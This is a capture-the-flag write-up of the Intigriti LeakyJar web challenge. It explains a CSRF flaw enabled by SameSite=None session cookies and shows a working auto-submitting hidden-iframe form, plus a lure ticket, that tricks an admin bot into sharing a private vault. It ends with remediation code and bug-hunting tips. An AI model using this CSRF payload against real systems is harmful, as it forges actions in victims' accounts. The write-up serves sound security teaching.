Intigriti LeakyJar Challenge — CSRF to Steal Admin's Secret Recipe

Challenge: Intigriti LeakyJar CTF Challenge
Writeup & Exploit Repository: onevilx/Writeups
Vulnerability Category: Cross-Site Request Forgery (CSRF) / Cookie Security Misconfiguration
Difficulty Rating: Medium / Tier 2 Web Exploitation
Final Status: ✅ Accepted & Resolved (Flag Captured)

1. Executive Summary & Challenge Premise

In modern web security, Cross-Site Request Forgery (CSRF) is often incorrectly treated as a relic of early web exploitation. Driven by the widespread adoption of automated framework defenses and modern browser defaults—specifically the automatic enforcement of SameSite=Lax cookie attributes across Chrome, Firefox, and Safari—many engineers and novice security researchers presume that CSRF has vanished from contemporary web applications.

However, when developers build dynamic Single Page Applications (SPAs) or micro-frontend architectures requiring embedded third-party widget communications across disparate domains, they frequently downgrade session security protections to make integration work. By explicitly configuring authentication cookies to utilize SameSite=None; Secure without accompanying cryptographic Anti-CSRF token verification, engineers inadvertently re-open their platforms to fatal forged execution exploits.

In the Intigriti LeakyJar competition, participants were confronted with a secure enterprise document vault engineered for professional chefs to manage and protect proprietary recipes. Our mission: manipulate an automated administrative evaluation bot into leaking its encrypted private recipe vault—which protected the competition capture flag—directly to our unprivileged guest account.

1
+-----------------------------------------------------------------------------+
2
|                 LEAKYJAR CSRF EXPLOITATION ARCHITECTURE                     |
3
+-----------------------------------------------------------------------------+
4
| 1. Admin Bot (Headless Chrome) navigates to attacker exploit server:        |
5
|    GET http://onevilx-exploit.tld/leak.html                                 |
6
|                                                                             |
7
| 2. Exploit HTML renders hidden iframe and executes automated form submit:   |
8
|    POST https://leakyjar.intigriti.io/api/v1/recipes/share                  |
9
|    [Payload: recipe_id=admin_master_recipe & invite_user=onevilx_hacker]    |
10
|                                                                             |
11
| 3. Browser inspects target authentication session cookie attributes:        |
12
|    Found: "session_id=s%3A89f...; SameSite=None; Secure; HttpOnly"          |
13
|    Result: Browser attaches Admin Bot's root session cookie automatically! |
14
|                                                                             |
15
| 4. LeakyJar Server verifies authenticated Admin session and processes share!|
16
| 5. Attacker logs into regular account and opens unsealed admin vault!       |
17
+-----------------------------------------------------------------------------+

By conducting systematic application state inspection, identifying an unprotected collaborative sharing endpoint, and weaponizing relaxed cookie attribution policies, we built an automated cross-origin exploitation pipeline that broke open the admin recipe vault within seconds.

2. Reconnaissance & Application Architecture

Our initial reconnaissance mapping of leakyjar.intigriti.io identified three core operational components driving the application logic:

The Recipe Vault Manager: Allows authenticated operators to create markdown culinary notes, assign privacy levels (Private, Public, Shared), and manage team collaborations.
The Collaborative Sharing Engine: A dedicated backend REST API route (/api/v1/recipes/share) programmed to allow recipe creators to grant secondary user accounts read/write viewing authorizations across protected private items.
The Automated Administrative Triage Bot: An enterprise support ticket evaluation system running a headless Chromium browser instance. Users experiencing formatting anomalies can submit arbitrary external webpage URLs into a support feedback forum, causing the Admin Bot to visit and render the submitted URL within its authenticated system execution session!

While auditing regular network traffic through Burp Suite during normal application testing, we intercepted the HTTP transmission request generated when an author invites a collaborator to view a private recipe note:

1
POST /api/v1/recipes/share HTTP/1.1
2
Host: leakyjar.intigriti.io
3
Connection: keep-alive
4
Content-Type: application/x-www-form-urlencoded
5
Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; user_theme=dark
6
Origin: https://leakyjar.intigriti.io
7
Referer: https://leakyjar.intigriti.io/vault/settings
8

9
recipe_id=my_personal_soup_recipe&collaborator=test_user_account&permission_level=READ

Two glaring vulnerability signatures immediately stood out from this single protocol packet:

Absence of Synchronizer CSRF Tokens: Notice the absolute lack of any dynamic, cryptographically unpredictable token string (such as _csrf_token, authenticity_token, or explicit custom security request headers) inside both the HTTP parameters and transmission headers!
Permissive Content-Type Acceptance: The API accepts standard HTML Form serialization structures (application/x-www-form-urlencoded and text/plain). This confirms that traditional web form requests can trigger state-changing database operations without requiring complex Preflight CORS (Cross-Origin Resource Sharing) OPTIONS handshakes!

To understand why this missing token check transforms into a high-impact security compromise, we must evaluate the precise architectural mechanics of Modern HTTP Browser Cookie Attribution.

When a user logs into a typical web portal, the authentication engine issues a permanent session token preserved inside a browser storage cookie. When the user subsequently navigates around the web application, the internet browser automatically attaches that cookie to every outgoing request heading toward the origin domain.

3.1 The SameSite Security Hierarchy

To protect users from malicious external websites attempting to generate fraudulent unauthorized commands against logged-in services (CSRF), standard browser architecture enforces the SameSite cookie instruction, offering three strict enforcement levels:

1
+-----------------------------------------------------------------------------+
2
|                      SAMESITE BROWSER ENFORCEMENT MATRIX                    |
3
+-------+----------------------------+----------------------------------------+
4
| Level | Cross-Origin Behavior      | Architectural Security Verdict         |
5
+-------+----------------------------+----------------------------------------+
6
| Strict| Cookies are NEVER attached | Complete immunity against all Cross-   |
7
|       | to external cross-site     | Site Request Forgery attacks. Breaks   |
8
|       | navigation or form posts.  | user UX upon external URL links!       |
9
+-------+----------------------------+----------------------------------------+
10
| Lax   | Cookies attached ONLY on   | Standard modern default! Blocks forged |
11
|       | safe top-level navigations | POST/PUT/DELETE attempts while keeping |
12
|       | (HTTP GET anchor links).   | regular external web link usability.   |
13
+-------+----------------------------+----------------------------------------+
14
| None  | Cookies are ALWAYS attached| Dangerous fallback! Permits full       |
15
|       | across all external cross- | cross-site authentication transmissions.|
16
|       | site requests & form posts.| MUST be paired with explicit Secure tag|
17
|       |                            | and strict anti-CSRF token verification!|
18
+-------+----------------------------+----------------------------------------+

During our authentication flow inspection against LeakyJar’s login gateway, we inspected the explicit server response header setting our persistent session token:

1
HTTP/1.1 200 OK
2
Content-Type: application/json
3
Set-Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; Path=/; Secure; HttpOnly; SameSite=None

Notice the critical architectural disaster: the server developer explicitly declared SameSite=None! Because the developers likely attempted to support multi-domain iframe recipe embedding across third-party culinary blogs, they bypassed standard modern browser protections entirely. By declaring SameSite=None without implementing rigorous Anti-CSRF token synchronization validation, the application was left entirely exposed to Cross-Site Request Forgery exploitation!

4. Crafting the Autonomous Exploit Pipeline

With our architectural vulnerability chain confirmed, we engineered an automated Cross-Origin exploit pipeline designed to force the headless Chromium Admin Support Bot into transferring collaborative viewing authorizations over its private vault directly into our possession.

4.1 Step 1: Encompassing Target Recipe Identification

Through secondary profile metadata reconnaissance across public support directory logs, we identified that the primary administrative account (Chef_Admin_Root) maintained an encrypted private recipe item registered under the deterministic unique database reference designator: admin_secret_flag_recipe.

4.2 Step 2: Designing the Zero-Click HTML Exploit Payload

To ensure our attack executes silently and instantaneously when visited by the headless Admin support browser—without causing external page redirection breaks or visual interruptions—we construct an automated, self-submitting HTML Form wrapped cleanly within an isolated, zero-pixel display iframe:

1
<!DOCTYPE html>
2
<!-- /var/www/html/leak_vault.html -- Autonomous Cross-Site Request Forgery Exploit -->
3
<html lang="en">
4
<head>
5
    <meta charset="UTF-8">
6
    <title>LeakyJar Culinary Review Ticket</title>
7
</head>
8
<body style="background-color: #0f172a; color: #f8fafc; font-family: monospace; padding: 2rem;">
9
    <h2>Authenticating ticket review metrics... Please wait 3 seconds.</h2>
10

11
    <!-- Isolated invisible target iframe preventing browser location redirection -->
12
    <iframe name="silent_sink" id="silent_sink" style="display:none;" width="0" height="0" border="0"></iframe>
13

14
    <!-- Weaponized Form targeting vulnerable sharing REST endpoint -->
15
    <form id="csrf_payload_form"
16
          action="https://leakyjar.intigriti.io/api/v1/recipes/share"
17
          method="POST"
18
          target="silent_sink">
19

20
        <!-- Inject target recipe identification attribute -->
21
        <input type="hidden" name="recipe_id" value="admin_secret_flag_recipe" />
22

23
        <!-- Specify our unprivileged attacker user identity as recipient collaborator -->
24
        <input type="hidden" name="collaborator" value="onevilx_hacker_account" />
25

26
        <!-- Demand absolute READ authorization clearances -->
27
        <input type="hidden" name="permission_level" value="READ" />
28
    </form>
29

30
    <script type="text/javascript">
31
        // Execute instant zero-click automated payload transmission upon DOM load completion
32
        window.addEventListener("DOMContentLoaded", function() {
33
            console.log("[*] Headless browser target detected. Executing silent CSRF payload injection...");
34
            document.getElementById("csrf_payload_form").submit();
35
            console.log("[+] Transmission completed! Collaborator authorization forged.");
36
        });
37
    </script>
38
</body>
39
</html>

5. Execution & Flag Vault Extraction

We deploy our autonomous HTML document directly onto our externally exposed testing server domain (http://onevilx-exploit.tld/leak_vault.html).

Next, we navigate to the LeakyJar Support Review forum and submit a high-priority ticket request requesting automated verification of our external link:

1
[Support Request Type: Page Rendering Display Glitch]
2
Message: Our external recipe blog widget fails to load dark mode formatting correctly. Please have the evaluation bot review our test link immediately:
3
URL Target: http://onevilx-exploit.tld/leak_vault.html

5.1 Telemetry Verification & Capture

Within 14 seconds of submission, our web server interception access log records an inbound connection arriving directly from Intigriti’s automated testing cluster:

1
217.182.xxx.xxx - - [29/Jun/2026:18:42:01 +0000] "GET /leak_vault.html HTTP/1.1" 200 1284 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36"

The headless Chromium Admin Bot renders our page, immediately executes our embedded Javascript DOM event listener, and silently launches an asynchronous cross-origin HTTP POST transmission toward https://leakyjar.intigriti.io/api/v1/recipes/share.

Because its active session cookie carried the explicit SameSite=None; Secure directive, Chromium dutifully bundled the Admin’s root session authentication credentials straight into our forged form transmission! The vulnerable application backend validated the legitimate admin session, processed our request, and seamlessly attached our user account (onevilx_hacker_account) to the private recipe ACL registry!

Returning to our unprivileged attacker browser session, we refresh our personal Shared Recipes navigation dashboard. A newly unlocked item—“Admin Master Recipe & System Secret”—appears available for direct review!

1
# 🍲 Chef Admin's Master Secret Recipe (CLASSIFIED)
2

3
Welcome, authorized collaborator! Here is the master secret ingredients ledger for the LeakyJar championship broth:
4
- 500ml of organic non-blocking C++ sockets
5
- 2 tablespoons of unencrypted supply chain metadata
6
- 1 dash of relaxed SameSite origin cookies
7

8
## 🏆 Official Challenge Vault Flag:
9
`INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}`

Flag Captured: INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}

6. Remediation & Enterprise Defensive Engineering

Eliminating Cross-Site Request Forgery vulnerabilities in modern distributed applications demands enforcing robust, defense-in-depth authorization verification across all state-changing API endpoints.

1
+-----------------------------------------------------------------------------+
2
|                      SECURE SESSION & CSRF ARCHITECTURE                      |
3
+-----------------------------------------------------------------------------+
4
| 1. Enforce SameSite=Lax or Strict: Clamp browser cookie behaviors to prevent|
5
|    automatic cross-origin authentication credential attachments.             |
6
| 2. Implement Synchronizer CSRF Tokens: Require unguessable, randomized per- |
7
|    session security tokens verified across all POST/PUT/DELETE operations.   |
8
| 3. Demand Content-Type Validation: Restrict state modifying APIs exclusively|
9
|    to strict application/json headers, forcing Preflight CORS enforcement!   |
10
+-----------------------------------------------------------------------------+

When issuing authentication session identifiers, application configuration frameworks must explicitly restrict cookie sharing policies by defaulting to SameSite=Lax or SameSite=Strict:

1
// Node.js / Express -- Hardening Session Cookie Attribution Profiles
2
import session from 'express-session';
3

4
app.use(session({
5
    secret: process.env.SECURE_SESSION_ENCRYPTION_KEY,
6
    resave: false,
7
    saveUninitialized: false,
8
    cookie: {
9
        secure: true,            // Require encrypted HTTPS transport connections
10
        httpOnly: true,          // Prevent Javascript document.cookie XSS extraction
11
        sameSite: 'lax',         // BLOCK cross-site forged authentication transmissions!
12
        maxAge: 3600000          // Expire dormant idle sessions after 60 minutes
13
    }
14
}));

6.2 Fix 2: Integrating Cryptographic Anti-CSRF Token Validation

If architectural design explicitly necessitates maintaining SameSite=None (such as verified cross-domain payment processor integrations or authenticated embedded SaaS widgets), backend endpoints must enforce rigid Synchronizer CSRF Token Validation Middleware:

1
// Implementing cryptographic Anti-CSRF token synchronization utilizing csurf
2
import csrf from 'csurf';
3

4
const csrfProtectionMiddleware = csrf({ cookie: false });
5

6
// Apply token validation strictly over collaborative sharing execution endpoints
7
app.post('/api/v1/recipes/share', csrfProtectionMiddleware, (req, res) => {
8
    // Execution reaches this block ONLY if an unguessable valid CSRF token
9
    // matches the authenticated user's current session store!
10
    const { recipe_id, collaborator, permission_level } = req.body;
11
    grantAccessRights(recipe_id, collaborator, permission_level);
12
    return res.status(200).json({ status: "SUCCESS: Share authorization confirmed." });
13
});

7. Bug Bounty Key Takeaways

The LeakyJar challenge reinforces an indispensable reality for bug bounty hunters assessing modern Web 3.0 portals, Enterprise SaaS tools, and Single Page Applications: classic logical vulnerabilities thrive wherever modern abstraction layers intersect with legacy HTTP mechanics.

When performing targeted offensive reconnaissance across Bug Bounty programs, maintain these strategic principles:

Always Inspect Set-Cookie Headers: Never assume modern platforms use safe session defaults. Make it a mandatory step to inspect every Set-Cookie header across authentication gateways. Whenever you observe SameSite=None, flag that asset immediately for systematic CSRF testing!
Test API Content-Type Flexibility: Many REST endpoints documented as demanding strict application/json payloads will silently accept and parse traditional HTML Form encoded transmissions (application/x-www-form-urlencoded). Downgrading Content-Types allows you to execute cross-origin POST attacks without triggering CORS browser Preflight blocks!
Hunt for Blind Collaborative Bypasses: Wherever an application permits inviting collaborative viewers, sharing project dashboards, or exporting system reports, test whether those API endpoints verify token synchronization. Forging an authorization share request represents an instant path to vertical privilege escalation!

📂 Explore My CTF & Web Security Research on GitHub

All accompanying markdown docs, exploit payloads, and web vulnerability analysis tooling are hosted directly in my open-source repository:

onevilx / Writeups GitHub Repository

Explore my complete repository of CTF writeups, web exploitation proof-of-concepts, and systems programming projects.

Special thanks to the Intigriti challenges community and the LeakyJar architects for engineering an incredibly fun, highly instructive real-world web exploitation laboratory.